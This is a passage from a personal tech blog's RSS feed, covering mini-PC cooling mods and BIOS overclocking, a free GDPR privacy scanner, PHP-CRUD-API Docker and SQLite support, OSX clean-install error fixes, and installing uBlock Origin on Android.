UEFI boot support. You need to press F7 after turning the machine on to enter
the BIOS boot menu. It installs fine if you use a USB stick with a GPT partition
table and a FAT32 partition containing the Xubuntu ISO contents (I used a USB
port on the headphone side of the machine).</p>
<h3 id="downside-it-is-getting-very-hot">Downside: It is getting very hot</h3>
<p>During installation I noticed that the Beelink T34 was not fully silent, as it
has a small 2cm fan inside. And even though this machine has a fan, it is still
getting uncomfortably hot (especially the bottom plate). This is ‘by design’ as
the manufacturer has put a warning sign on the bottom plate stating &ldquo;High
temperature [&hellip;] is normal&rdquo;. Apparently the airflow is not sufficient to keep
the (outside of the) box cool.</p>
<h3 id="overclocking-always-in-turbo-mode">Overclocking: Always in turbo mode</h3>
<p>While researching the Intel n3450 series, I installed the following tools:</p>
<pre><code>sudo apt install linux-tools-common
</code></pre>
<p>And it told me to install these ones as well:</p>
<pre><code>sudo apt install linux-tools-generic linux-tools-5.4.0-45-generic
</code></pre>
<p>You can use the following command to learn a lot about the CPU:</p>
<pre><code>sudo turbostat --Summary --interval 1
</code></pre>
<p>For one I learned that it seems that Power Package Limit #1 and Power Package
Limit #2 can be disabled in the BIOS (look for CPU Power Configuration) and this
allows the machine to continuously run at Turbo Speed (2.2 instead of 1.1 Ghz).
As you can understand, this has the downside that the machine gets very hot.</p>
<h3 id="fix-mod-to-improve-airflow">Fix: Mod to improve airflow</h3>
<p>To understand why there was so little airflow, I decided to take a peek inside
the box. You do this by removing the two rubber feet (strips) that the machine
stands on and unscrewing the four screws that you find underneath. When you
remove the (metal) bottom plate, you see a large metal heat-sink with a tiny 30
x 30 x 5 mm &ldquo;BROAD&rdquo; fan (model BF03004L05) on top of it. The fan seems to be
designed as an air intake for the case. The air needs to flow in through the
small circular ventilation openings in the bottom plate. The rest of the box is
made out of hard plastic and has small ventilation openings to let the hot air
escape. It is clearly not generating enough airflow to keep the outside of the
box cool when the CPU is continuously running in turbo mode.</p>
<p>I replaced the small fan with a 92 mm &ldquo;AMD Wraith Stealth&rdquo; CPU fan I had lying
around. This fan came bundled with the AMD 3400G CPU of my latest DeskMini A300
build where I used a Noctua Low Profile AM4 (NH-L9a-AM4) to make the machine
more quiet. Since this AMD fan is much larger (92 x 92 x 30 mm) than the
original (30 x 30 x 5 mm), it requires an &ldquo;out-of-the-box&rdquo; solution (pun
intended) to fit it. I decided to put it &ldquo;on&rdquo; the box instead of &ldquo;in&rdquo; the box. I
applied this mod also to the T4, so you can follow the instructions from that
post. Note that you do have to cut the connector from the old fan and solder it
on the red and black wires of the new fan.</p>
<p>See:
<a href="https://tqdev.com/2020-beelink-t4-modding-overclocking">https://tqdev.com/2020-beelink-t4-modding-overclocking</a></p>
<p>I used a 0.8 mm polypropene (hard plastic) plate to trace and cut the new bottom
plate from. Then I used 4 black M2 x 10 bolts to screw down the new bottom plate
on the case. I cut a 8 cm hole in the middle with a knife and a pair of
scissors. I used 4 silver #6-32 UNC bolts to hold the CPU fan in place. I
created the screw holes in the polypropene by melting it using a heated nail of
the right size. This process requires some exact measuring, but can be executed
in 5-15 minutes and the material cost is very low (a few euros).</p>
<h3 id="cooling-performance">Cooling performance</h3>
<p>I ran the tool &ldquo;stress&rdquo; to have 100% CPU load on all cores (using
&ldquo;<code>stress -c 4</code>&rdquo;) and started a HD YouTube movie next to it. I let that run for
one hour (ambient temperature was 21 Celsius) and the CPU temperature peeked at
46 degrees Celsius. Note that the CPU fan is already under-volted from 12 volt
to 5 volt, causing the fan to run slower than it&rsquo;s maximum speed. You could try
to make the fan run even slower (using a resistor) if you want to further
optimizing the noise/temperature balance.</p>
<h3 id="considerations">Considerations</h3>
<p>I&rsquo;m very pleased with the build. On one hand it may look a bit DIY, but on the
other hand it looks very geeky. The slow rotating AMD fan will catch people&rsquo;s
attention and they will certainly ask &ldquo;Hey, what is that?&rdquo;. The box is cheap at
120 euro and with these modifications it&rsquo;s performance is good (considering it&rsquo;s
price). My conclusion is that it runs great as a server and/or HTPC and even for
light web browsing and/or light office work as it sports a 128 GB (mSATA) SSD
and 8 GB of (DDR3) RAM.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Free GDPR scanner online!</title>
      <link>https://www.tqdev.com/2020-free-gdpr-scanner-online/</link>
      <pubDate>Wed, 05 Aug 2020 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-free-gdpr-scanner-online/</guid>
      <description>&lt;p&gt;I have created a free GDPR scanner at:
&lt;a href=&#34;https://tqdev.com/gdpr-scanner&#34;&gt;TQdev.com/gdpr-scanner&lt;/a&gt;. You can use it to see
what domains are connected by your website and see who is running those domains
and where they are hosted. Ideally you see only one entry with only the domain
that you have entered in the web browser. In reality many websites use a lot of
external services and thus also share your IP address and user agent with those
services. Since this information is considered personal information this is
subject to the GDPR. The GDPR says that you can only share this information if
there is a need and a legal ground to do so OR a user consent. This scanner
(that gives no consent) helps you identify services that information is shared
with, so that you can consider whether or not you are GDPR compliant.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I have created a free GDPR scanner at:
<a href="https://tqdev.com/gdpr-scanner">TQdev.com/gdpr-scanner</a>. You can use it to see
what domains are connected by your website and see who is running those domains
and where they are hosted. Ideally you see only one entry with only the domain
that you have entered in the web browser. In reality many websites use a lot of
external services and thus also share your IP address and user agent with those
services. Since this information is considered personal information this is
subject to the GDPR. The GDPR says that you can only share this information if
there is a need and a legal ground to do so OR a user consent. This scanner
(that gives no consent) helps you identify services that information is shared
with, so that you can consider whether or not you are GDPR compliant.</p>
<h3 id="how-it-works">How it works</h3>
<p>You submit a URL in the GDPR scanner form on the server. This URL gets picked up
(after it is finished with it&rsquo;s current tasks) by a worker that runs Chromium in
&ldquo;headless&rdquo; and &ldquo;incognito&rdquo; mode. It then loads the page and creates a HAR file
(the output you see in the network tab of the Developer Tools). These results
are enriched with TCPing latencies and IP address information from
<a href="https://ip-api.com/">ip-api.com</a>. A summary of this information is sent back
from the worker to the server. The server stores the result and shows a report.
This report gets it&rsquo;s own unique URL that you can easily share.</p>
<h3 id="limited-data-accuracy">Limited data accuracy</h3>
<p>You can rely on the &ldquo;Domain&rdquo;, the &ldquo;Ping&rdquo; and the &ldquo;Hostname&rdquo; data to be correct
as these are measured by the scanner on your request. The &ldquo;EU&rdquo;, &ldquo;Country&rdquo; and
&ldquo;Organization&rdquo; fields are provided by <a href="https://ip-api.com/">ip-api.com</a> and are
lookups in an incomplete and imperfect database. I estimate is that in 80-90% of
the cases the data in these columns is correct and complete. I have evaluated
other databases, but their data quality was even lower.</p>
<h3 id="anonymizing-google-analytics">Anonymizing Google Analytics</h3>
<p>Many sites use Google Analytics. Google offers you to anonymize IP addresses it
receives. The scanner can detect whether or not this setting is enabled. You
will see a &ldquo;<code>ga_aip</code>&rdquo; or &ldquo;<code>ga_no_aip</code>&rdquo; flag in the &ldquo;Flags&rdquo; column for the domain
&ldquo;<a href="https://www.google-analytics.com">www.google-analytics.com</a>&rdquo;. These flags are clickable and clicking them will
show a page with a little background information. We will be adding more privacy
analysis in the future.</p>
<h3 id="cookies-and-local-storage">Cookies and local storage</h3>
<p>The scanner will also show which cookies are set and what data is stored in
local storage. This helps you to identify trackers. Ideally these should only be
session cookies (forgotten after the session) and all cookies should be
&ldquo;Secure&rdquo;, &ldquo;HttpOnly&rdquo; and have &ldquo;SameSite&rdquo; set to &ldquo;Strict&rdquo;.</p>
<p><a href="https://tqdev.com/gdpr-scanner">Visit the GDPR-scanner now!</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP-CRUD-API now on Docker Hub</title>
      <link>https://www.tqdev.com/2020-php-crud-api-now-on-docker-hub/</link>
      <pubDate>Sat, 01 Aug 2020 20:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-php-crud-api-now-on-docker-hub/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; is an &amp;ldquo;automatic&amp;rdquo; API:
software that turns your database into a REST API. This is possible thanks to
database reflection (asking the database which tables and fields it has).
Support for Docker and Docker Compose has been added and the Docker image is
registered on Docker Hub.&lt;/p&gt;
&lt;h3 id=&#34;test-using-docker&#34;&gt;Test using Docker&lt;/h3&gt;
&lt;p&gt;To do proper testing you may have to test the full matrix of all dependencies
(PHP, MySQL, MariaDB, PostgreSQL, SQLite and SQL Server) and there corresponding
versions. For PHP there are already 5 supported versions (7.0, 7.1, 7.2, 7.3 and
7.4), for MySQL there are 3 supported versions (5.6 5.7 and 8.0) and for
PostgreSQL there are 9 supported versions (9.1, 9.2, 9.3, 9.4, 9.5, 9.6, 10, 11
and 12). Only these combinations of these major versions would lead to 5 x 3 + 5
x 9 = 50 test runs.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p><a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> is an &ldquo;automatic&rdquo; API:
software that turns your database into a REST API. This is possible thanks to
database reflection (asking the database which tables and fields it has).
Support for Docker and Docker Compose has been added and the Docker image is
registered on Docker Hub.</p>
<h3 id="test-using-docker">Test using Docker</h3>
<p>To do proper testing you may have to test the full matrix of all dependencies
(PHP, MySQL, MariaDB, PostgreSQL, SQLite and SQL Server) and there corresponding
versions. For PHP there are already 5 supported versions (7.0, 7.1, 7.2, 7.3 and
7.4), for MySQL there are 3 supported versions (5.6 5.7 and 8.0) and for
PostgreSQL there are 9 supported versions (9.1, 9.2, 9.3, 9.4, 9.5, 9.6, 10, 11
and 12). Only these combinations of these major versions would lead to 5 x 3 + 5
x 9 = 50 test runs.</p>
<p>In reality there are minor versions and many other dependencies (such as
PostGIS). This makes that the number of combinations is growing rapidly and
testing them all is unfeasible. Instead we would like to test only the most
common combinations of versions. We find them by using the repository contents
of certain versions of Linux distributions. Below you find the distributions
with their repository versions:</p>
<ul>
<li>Ubuntu 16.04 with PHP 7.0, MariaDB 10.0, PostgreSQL 9.5 (PostGIS 2.2) and SQL
Server 2017</li>
<li>Debian 9 with PHP 7.0, MariaDB 10.1, PostgreSQL 9.6 (PostGIS 2.3) and SQLite
3.16</li>
<li>Ubuntu 18.04 with PHP 7.2, MySQL 5.7, PostgreSQL 10.4 (PostGIS 2.4) and SQLite
3.22</li>
<li>Debian 10 with PHP 7.3, MariaDB 10.3, PostgreSQL 11.4 (PostGIS 2.5) and SQLite
3.27</li>
<li>Ubuntu 20.04 with PHP 7.4, MySQL 8.0, PostgreSQL 12.2 (PostGIS 3.0) and SQLite
3.31</li>
<li>CentOS 8 with PHP 7.4, MariaDB 10.4, PostgreSQL 12.2 (PostGIS 3.0) and SQLite
3.26</li>
</ul>
<p>These can be tested in only 6 x 3 = 18 test runs and the number is not growing
at all! This also means that (for instance) PHP 7.1 is not tested, nor is
PostgreSQL 9.4.</p>
<h3 id="install-docker-on-ubuntu">Install Docker on Ubuntu</h3>
<p>Install docker using the following commands:</p>
<pre><code>sudo apt install docker.io
sudo usermod -aG docker ${USER}
</code></pre>
<p>Note that you need to logout and login for the changes to take effect.</p>
<h3 id="official-docker-image">Official Docker image</h3>
<p>There is a &ldquo;<code>Dockerfile</code>&rdquo; in the repository that is used to build an image at:</p>
<p><a href="https://hub.docker.com/r/mevdschee/php-crud-api">https://hub.docker.com/r/mevdschee/php-crud-api</a></p>
<p>It will be automatically build on every release. The &ldquo;latest&rdquo; tag points to the
last release.</p>
<h3 id="run-with-docker-compose">Run with Docker Compose</h3>
<p>This repository also contains a &ldquo;<code>docker-compose.yml</code>&rdquo; file that you can
install/build/run using:</p>
<pre><code>sudo apt install docker-compose
docker-compose build
docker-compose up
</code></pre>
<p>This will setup a database (MySQL) and a webserver (Apache) and runs the
application using the blog example data used in the tests.</p>
<p>Test the script (running in the container) by opening the following URL:</p>
<pre><code>http://localhost:8080/records/posts/1
</code></pre>
<p>Enjoy!</p>
]]></content:encoded>
    </item>
    <item>
      <title>OSX clean install error messages</title>
      <link>https://www.tqdev.com/2020-osx-clean-install-error-messages/</link>
      <pubDate>Sun, 26 Jul 2020 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-osx-clean-install-error-messages/</guid>
      <description>&lt;p&gt;When you buy a second hand Mac you should do a clean install of OSX from a USB
drive for security reasons. This sounds easy, but there are some problems you
may run into. In this post we discuss 2 common, but cryptic, error messages and
explain how to avoid them. Note that a clean installation requires you to have a
USB drive with a bootable OSX installer. Note that on newer Macs you don&amp;rsquo;t need
an USB drive as these support
&lt;a href=&#34;https://support.apple.com/en-us/HT201314&#34;&gt;macOS Recovery over the Internet&lt;/a&gt; by
pressing Option-Command-R after boot.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When you buy a second hand Mac you should do a clean install of OSX from a USB
drive for security reasons. This sounds easy, but there are some problems you
may run into. In this post we discuss 2 common, but cryptic, error messages and
explain how to avoid them. Note that a clean installation requires you to have a
USB drive with a bootable OSX installer. Note that on newer Macs you don&rsquo;t need
an USB drive as these support
<a href="https://support.apple.com/en-us/HT201314">macOS Recovery over the Internet</a> by
pressing Option-Command-R after boot.</p>
<h3 id="error-this-item-is-temporarily-unavailable">Error: This Item Is Temporarily Unavailable</h3>
<p>This (most likely) means that the hard-disk was not empty during installation.</p>
<p><strong>Resolution</strong>:</p>
<ul>
<li>Power on the machine and quickly press and hold the Alt/Option key until the
boot menu appears</li>
<li>Choose the USB drive (containing the OSX installer)</li>
<li>Let the computer boot from the USB drive</li>
<li>Choose an installation language</li>
<li>Accept the Apple license agreement</li>
<li>Choose &ldquo;Utilities &gt; Disk Utility&rdquo; from the top menu (next to the apple logo)</li>
<li>Erase the internal drive, by (GUID) re-partitioning with one partition (Mac OS
Extended Journaled)</li>
<li>Erase the single partition that the drive has (not needed if the previous step
was done)</li>
<li>Quit Disk Utility by closing the window</li>
<li>Now selecting the drive to install to and proceed installation</li>
</ul>
<p>See:
<a href="https://www.youtube.com/watch?v=W7bPfNREVMU">https://www.youtube.com/watch?v=W7bPfNREVMU</a></p>
<h3 id="error-no-packages-were-eligible-for-install">Error: No packages were eligible for install</h3>
<p>This means that the date should be set (back!) to a date when the certificate
for the OS was valid.</p>
<p><strong>Resolution</strong>:</p>
<ul>
<li>Power on the machine and quickly press and hold the Alt/Option key until the
boot menu appears</li>
<li>Choose the USB drive (containing the OSX installer)</li>
<li>Let the computer boot from the USB drive</li>
<li>Choose an installation language</li>
<li>Accept the Apple license agreement</li>
<li>Choose &ldquo;Utilities &gt; Terminal&rdquo; from the top menu (next to the apple logo)</li>
<li>A terminal window occurs with a prompt</li>
<li>Type &ldquo;date 0101010117&rdquo; to set the date to &ldquo;Jan 1st, 2017 1:01 AM&rdquo;.</li>
<li>Choose the last 2 digits &ldquo;17&rdquo; (means year &ldquo;2017&rdquo;) from the list below:
<ul>
<li>12 = Lion (10.7)</li>
<li>13 = Mountain Lion (10.8)</li>
<li>14 = Mavericks (10.9)</li>
<li>15 = Yosemite (10.10)</li>
<li>16 = El Capitan (10.11)</li>
<li>17 = Sierra (10.12)</li>
<li>18 = High Sierra (10.13)</li>
<li>19 = Mojave (10.14)</li>
<li>20 = Catalina (10.15)</li>
</ul>
</li>
<li>Type &ldquo;exit&rdquo; and reboot the machine to retry the installation</li>
</ul>
<p>See:
<a href="https://discussions.apple.com/thread/250793420">https://discussions.apple.com/thread/250793420</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>uBlock Origin on Android</title>
      <link>https://www.tqdev.com/2020-ublock-origin-on-android/</link>
      <pubDate>Fri, 17 Jul 2020 22:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-ublock-origin-on-android/</guid>
      <description>&lt;p&gt;On Xubuntu I protect my privacy by using an ad-blocker (uBlock Origin) in my
browser (Firefox). On my phone (Android) I also use Firefox, but I was not able
to install uBlock Origin in Firefox on Android, until now! I tried it again
today and on my Android 10 (Android One) Xiaomi A3 with Firefox 68.9.0 and it
just works. For me this is huge, as this makes surfing the web on my phone a
viable option. Until now is was minimizing browser usage on my phone, due to
privacy concerns.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>On Xubuntu I protect my privacy by using an ad-blocker (uBlock Origin) in my
browser (Firefox). On my phone (Android) I also use Firefox, but I was not able
to install uBlock Origin in Firefox on Android, until now! I tried it again
today and on my Android 10 (Android One) Xiaomi A3 with Firefox 68.9.0 and it
just works. For me this is huge, as this makes surfing the web on my phone a
viable option. Until now is was minimizing browser usage on my phone, due to
privacy concerns.</p>
<h3 id="installing-ublock-origin-in-firefox-on-android">Installing uBlock Origin in Firefox on Android</h3>
<p>These are the steps to follow for installation:</p>
<ul>
<li>Start the &ldquo;Play Store&rdquo;</li>
<li>Search for &ldquo;Firefox&rdquo;</li>
<li>Choose &ldquo;Firefox browser, fast and private&rdquo; and choose &ldquo;Install&rdquo;</li>
<li>Start Firefox and touch the three vertical dots next to the address bar</li>
<li>Choose the &ldquo;Add-ons&rdquo; menu option</li>
<li>Choose &ldquo;Browse extensions&rdquo; (the last option) with the green jigsaw icon</li>
<li>Search for &ldquo;uBlock&rdquo;</li>
<li>Choose &ldquo;uBlock Origin&rdquo; and choose &ldquo;Add to Firefox&rdquo;</li>
</ul>
<p>In short, this is exactly how you would expect installation to go (and now it
works).</p>
<p>Note that you can also install all filters and configure all settings like in
the desktop version.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Beelink T4 modding and overclocking</title>
      <link>https://www.tqdev.com/2020-beelink-t4-modding-overclocking/</link>
      <pubDate>Sun, 21 Jun 2020 02:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-beelink-t4-modding-overclocking/</guid>
      <description>&lt;p&gt;I bought a &amp;ldquo;Beelink T4&amp;rdquo; mini PC for 100 EUR with 4GB RAM, 64 GB eMMC and a
&lt;a href=&#34;https://ark.intel.com/content/www/us/en/ark/products/85474/intel-atom-x5-z8500-processor-2m-cache-up-to-2-24-ghz.html&#34;&gt;Z8500 quad core 2.24 Ghz CPU&lt;/a&gt;
with an Scenario Design Power (SDP) of only 2W. It is the successor of my
&amp;ldquo;Z83II&amp;rdquo; mini PC with 2GB RAM, 32 GB eMMC and a Z8350 quad core CPU. I run
Xubuntu 20.04 on these boxes and you can run them as a low power (headless)
server or as a HTPC (Home Theater PC) for Full-HD video. In this post we will
unlock the full potential of the T4, making it run a little faster and much
cooler.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I bought a &ldquo;Beelink T4&rdquo; mini PC for 100 EUR with 4GB RAM, 64 GB eMMC and a
<a href="https://ark.intel.com/content/www/us/en/ark/products/85474/intel-atom-x5-z8500-processor-2m-cache-up-to-2-24-ghz.html">Z8500 quad core 2.24 Ghz CPU</a>
with an Scenario Design Power (SDP) of only 2W. It is the successor of my
&ldquo;Z83II&rdquo; mini PC with 2GB RAM, 32 GB eMMC and a Z8350 quad core CPU. I run
Xubuntu 20.04 on these boxes and you can run them as a low power (headless)
server or as a HTPC (Home Theater PC) for Full-HD video. In this post we will
unlock the full potential of the T4, making it run a little faster and much
cooler.</p>
<p><a href="https://i.imgur.com/BcjY7BW.jpg" style="border: 0;"><img alt="Beelink T4 with an AMD Wraith Stealth fan" src="https://i.imgur.com/BcjY7BW.jpg" style="width: 100%;"/><em>Beelink
T4 with an AMD Wraith Stealth fan</em></a></p>
<h3 id="upside-easy-linux-installation">Upside: Easy Linux installation</h3>
<p>This machine has Windows 10 installed when delivered. Fortunately installing
Xubuntu 20.04 on the Beelink T4 is very easy as it is an Intel x64 CPU with UEFI
boot support. You need to press F7 after turning the machine on to enter the
BIOS boot menu. It installs fine if you use a USB stick with a GPT partition
table and a FAT32 partition containing the Xubuntu ISO contents (use the USB
port next to the HDMI port).</p>
<h3 id="downside-slower-than-expected-and-very-hot">Downside: Slower than expected and very hot</h3>
<p>During installation I noticed that the Beelink T4 was not fully silent, although
pictures on the web suggest that there is also a passive cooled version (without
a fan). I got a version with a small (audible) fan. And even though this version
has a fan, it is still getting uncomfortably hot (especially the bottom plate).
This is ‘by design’ as the manufacturer has put a warning sign on the bottom
plate stating &ldquo;High temperature [&hellip;] is normal&rdquo;. Apparently the airflow is not
sufficient to keep the (outside of the) box cool.</p>
<p>I tested some applications after the installation had finished and, for
instance, Firefox felt a little slower than I expected from this processor.</p>
<h3 id="fix-1-overclocking-ram-and-gpu">Fix 1: Overclocking RAM and GPU</h3>
<p>While researching the Intel x5 Atom series, I ran into this answer from &ldquo;Chris G
from TechTablets.com&rdquo; on a Z8300 overclocking question:</p>
<blockquote>
<p>The best you can do is in the bios make sure the RAM is set to 1600 Mhz and
not 1066 Mhz which some units were set too.
(<a href="https://techtablets.com/forum/topic/z8300-overclocking/">source</a>)</p></blockquote>
<p>Thank you Chris! The RAM of the Beelink T4 was indeed underclocked to 1066 Mhz.
You can change this by entering the (American Megatrends) BIOS using the &ldquo;Del&rdquo;
key and then navigating to &ldquo;Chipset &gt; North Bridge Settings &gt; Memory
Configuration Options &gt; Frequency A selection&rdquo; and “Frequency B selection”
change both values from &ldquo;1067&rdquo; to &ldquo;Auto&rdquo;.</p>
<p><a href="https://i.imgur.com/4jEJons.jpg" style="border: 0;"><img alt="Configuring the Beelink T4 RAM speed" src="https://i.imgur.com/4jEJons.jpg" style="width: 100%;"/><em>Configuring
the Beelink T4 RAM speed</em></a></p>
<p>Reddit user &ldquo;b1ueskycomp1ex&rdquo; shared a Z8750 BIOS configuration trick to improve
GPU performance on the “GPD win”:</p>
<blockquote>
<p>Intel IGD Configuration. IGD Turbo Enable = Enabled This option allows the GPU
To turbo boost to it&rsquo;s max boost clock of 600Mhz from it&rsquo;s default value of
400Mhz. Power Meter Lock = Disabled This option if enabled will only allow for
short bursts of turbo, disabling it allows 600Mhz properly.
(<a href="https://www.reddit.com/r/gpdwin/comments/6q91er/how_i_set_up_my_gpd_win_and_you_can_too/">source</a>)</p></blockquote>
<p>This turbo was also not unlocked on the Beelink T4. You can change this by
entering the (American Megatrends) BIOS using the &ldquo;Del&rdquo; key and then navigating
to &ldquo;Chipset &gt; North Bridge Settings &gt; Intel IGD Configuration &gt; IGD Turbo
Enable&rdquo; and change that value from &ldquo;Disabled&rdquo; to &ldquo;Enabled&rdquo;. Underneath that
setting you find the &ldquo;Power Meter Lock&rdquo; and you should change that from
&ldquo;Enabled&rdquo; to &ldquo;Disabled&rdquo;.</p>
<p><a href="https://i.imgur.com/AKTxvaZ.jpg" style="border: 0;"><img alt="Configuring the Beelink T4 IGD turbo" src="https://i.imgur.com/AKTxvaZ.jpg" style="width: 100%;"/><em>Configuring
the Beelink T4 IGD turbo</em></a></p>
<p>In my tests these changes resulted in a noticeable better performance, while I
did not notice a difference in CPU temperature.</p>
<h3 id="fix-2-mod-to-improve-airflow">Fix 2: Mod to improve airflow</h3>
<p>To understand why there was so little airflow, I decided to take a peek inside
the box. You do this by removing the two rubber feet (strips) that the machine
stands on and unscrewing the four screws that you find underneath. When you
remove the (metal) bottom plate, you see a large metal heat-sink with a tiny 30
x 30 x 5 mm &ldquo;BROAD&rdquo; fan (model BF03004L05) on top of it. The fan seems to be
designed as an air intake for the case. The air needs to flow in through the
small circular ventilation openings in the bottom plate. The rest of the box is
made out of hard plastic and has small ventilation openings to let the hot air
escape. It is clearly not generating enough airflow to keep the outside of the
box cool.</p>
<p>I don&rsquo;t like computers that get so hot that you can&rsquo;t touch them, so I decided
to improve the airflow by increasing the size of the fan.</p>
<p>I replaced the small fan with a 92 mm &ldquo;AMD Wraith Stealth&rdquo; CPU fan I had lying
around. This fan came bundled with the AMD 3200G CPU of my
<a href="https://tqdev.com/2019-ultimate-nuc-killer-under-500">DeskMini build</a> where I
used a Noctua Low Profile AM4 (NH-L9a-AM4) instead to make the machine more
quiet. Since this fan is much larger (92 x 92 x 30 mm) than the original (30 x
30 x 5 mm), it requires an &ldquo;out-of-the-box&rdquo; solution (pun intended) to fit it. I
decided to put it &ldquo;on&rdquo; the box instead of &ldquo;in&rdquo; the box.</p>
<p>I&rsquo;ve chosen to use the box upside down and I&rsquo;ve put the two rubber feet (strips)
on the other side of the box. I made a new bottom (now top) plate from two
layers of sturdy black packaging plastic that I carefully cut out to the right
size using a pair of ordinary scissors. I glued the two layers together using
double sided tape and used a hot nail and a flame to pierce some screw holes (be
careful not to inhale the toxic fumes). In the center of the new top plate I cut
out a 80 mm circular hole to let the fan blow directly onto the metal heat-sink
of the CPU.</p>
<p>I cut the Molex PicoBlade 2 pin connector with some 2 wire cable from the old 30
mm fan and soldered the red and black wire onto the red and black wires of the
new 92 mm fan. The new AMD fan is actually an &ldquo;AVC&rdquo; model DASH0925R2M. It is
supposed to run at 12 volt, while the old 30 mm fan ran at 5 volt. Connecting a
12 volt fan at 5 volt is called &ldquo;undervolting&rdquo; the fan. This essentially also
what a low noise adapter does, but with a resistor dividing the voltage. Not all
fans run or start at 5 volt (some require 6-7 volt), but at 5 volt this
particular fan will start and run slow and quiet.</p>
<p><a href="https://www.youtube.com/watch?v=pg177cpeNLc" style="border: 0;"><img alt="Installing an AMD Wraith Stealth fan on a Beelink T4 (video)" src="https://i.imgur.com/saXuL7P.jpg" style="width: 100%;"/><em>Installing
an AMD Wraith Stealth fan on a Beelink T4 (video)</em></a></p>
<p>With this new fan the outside of the box did not even feel warm at all, while
the CPU temperatures never exceeded 60 degrees Celsius under full load (instead
of 75-85 degrees Celsius). Even with the larger fan and the overclocking the
system has an idle power usage of 2.5W, which is fine for an always on server,
costing about 5 euro per year at 23 euro cent per kWh (for 22 kWh per year).</p>
<h3 id="considerations">Considerations</h3>
<p>I&rsquo;m very pleased with the build. On one hand it may look a bit DIY, but on the
other hand it looks very geeky. The slow rotating AMD fan will catch people&rsquo;s
attention and they will certainly ask &ldquo;Hey, what is that?&rdquo;. The box is cheap at
100 euro and with these modifications it&rsquo;s performance is good (considering it&rsquo;s
price). My conclusion is that it runs great as a server and/or HTPC, but that
you shouldn&rsquo;t use it for web browsing and/or light office work as that would
require a SATA instead of an eMMC SSD and 8 GB instead of 4 GB of RAM.</p>
]]></content:encoded>
    </item>
    <item>
      <title>PHP-CRUD-API v2 now supports SQLite</title>
      <link>https://www.tqdev.com/2020-php-crud-api-v2-now-supports-sqlite/</link>
      <pubDate>Mon, 13 Apr 2020 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2020-php-crud-api-v2-now-supports-sqlite/</guid>
      <description>&lt;p&gt;After 1 year of slowly growing
&lt;a href=&#34;https://github.com/mevdschee/php-crud-api&#34;&gt;PHP-CRUD-API&lt;/a&gt; v2 another milestone
is reached. Today SQLite support, the fourth supported database engine, is
(re)added to the project. It was removed with the introduction of v2. This
feature is added in order to facilitate fast prototyping as SQLite is easy to
install and configure. I want to thank
&lt;a href=&#34;https://focussing.nl/&#34;&gt;Raymond Verbruggen&lt;/a&gt; for his feature request and his
contribution to deliver this feature.&lt;/p&gt;
&lt;h3 id=&#34;sqlite-support-on-steroids&#34;&gt;SQLite support on steroids&lt;/h3&gt;
&lt;p&gt;A few weeks ago I redid the research on the performance of a SQLite
implementation. I found that since version 3.16 of SQLite there are new
reflection methods available that allow better performance of my reflective REST
API. Other DBMS systems provide reflection using the &amp;ldquo;information schema&amp;rdquo;, which
is a SQL standard. SQLite now has similar functionality, but non-standard with
&amp;ldquo;pragma table functions&amp;rdquo;. These functions differ from the &amp;ldquo;pragma statements&amp;rdquo;
used to implement SQLite support in v1, as the new pragma table functions can be
combined with &amp;ldquo;select&amp;rdquo; or &amp;ldquo;where&amp;rdquo; clauses, while the old pragma statements could
not. This flexibility means we no longer need to create a &amp;ldquo;pseudo&amp;rdquo; information
schema for SQLite. It also means we don&amp;rsquo;t support older versions of SQLite, such
as the version 3.11 that is used in Ubuntu 16.04.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>After 1 year of slowly growing
<a href="https://github.com/mevdschee/php-crud-api">PHP-CRUD-API</a> v2 another milestone
is reached. Today SQLite support, the fourth supported database engine, is
(re)added to the project. It was removed with the introduction of v2. This
feature is added in order to facilitate fast prototyping as SQLite is easy to
install and configure. I want to thank
<a href="https://focussing.nl/">Raymond Verbruggen</a> for his feature request and his
contribution to deliver this feature.</p>
<h3 id="sqlite-support-on-steroids">SQLite support on steroids</h3>
<p>A few weeks ago I redid the research on the performance of a SQLite
implementation. I found that since version 3.16 of SQLite there are new
reflection methods available that allow better performance of my reflective REST
API. Other DBMS systems provide reflection using the &ldquo;information schema&rdquo;, which
is a SQL standard. SQLite now has similar functionality, but non-standard with
&ldquo;pragma table functions&rdquo;. These functions differ from the &ldquo;pragma statements&rdquo;
used to implement SQLite support in v1, as the new pragma table functions can be
combined with &ldquo;select&rdquo; or &ldquo;where&rdquo; clauses, while the old pragma statements could
not. This flexibility means we no longer need to create a &ldquo;pseudo&rdquo; information
schema for SQLite. It also means we don&rsquo;t support older versions of SQLite, such
as the version 3.11 that is used in Ubuntu 16.04.</p>
<h3 id="new-caching-mechanism">New caching mechanism</h3>
<p>In v1 a &ldquo;pseudo&rdquo; information schema was created for SQLite, which doubled as a
structure cache. The &ldquo;<code>schema_version</code>&rdquo; pragma statement was used to retrieve a
number indicating the version of the structure of your database. This number was
then used to check whether or not the cache needed to be rebuild. This rebuild
process was reported to take several seconds on large databases. This method is
no longer used and the approach in v2 (for all database engines) is to use a
structure caching mechanism that is time-based</p>
<h3 id="improved-reliability">Improved reliability</h3>
<p>In v1 I needed to make writing the structure cache faster and for that I was
using &ldquo;<code>PRAGMA synchronous = NORMAL</code>&rdquo;. This avoids flushing to disk on every
transaction. It was trading speed for reliability and this is no longer done
(nor needed) in v2 as the cache is no longer stored in the database itself. In
v2 the cache is stored (for all database engines) in a configurable backend that
defaults to a temporary file on disk, but also supports &ldquo;Memcache&rdquo; for high
performance applications.</p>
<h3 id="usage">Usage</h3>
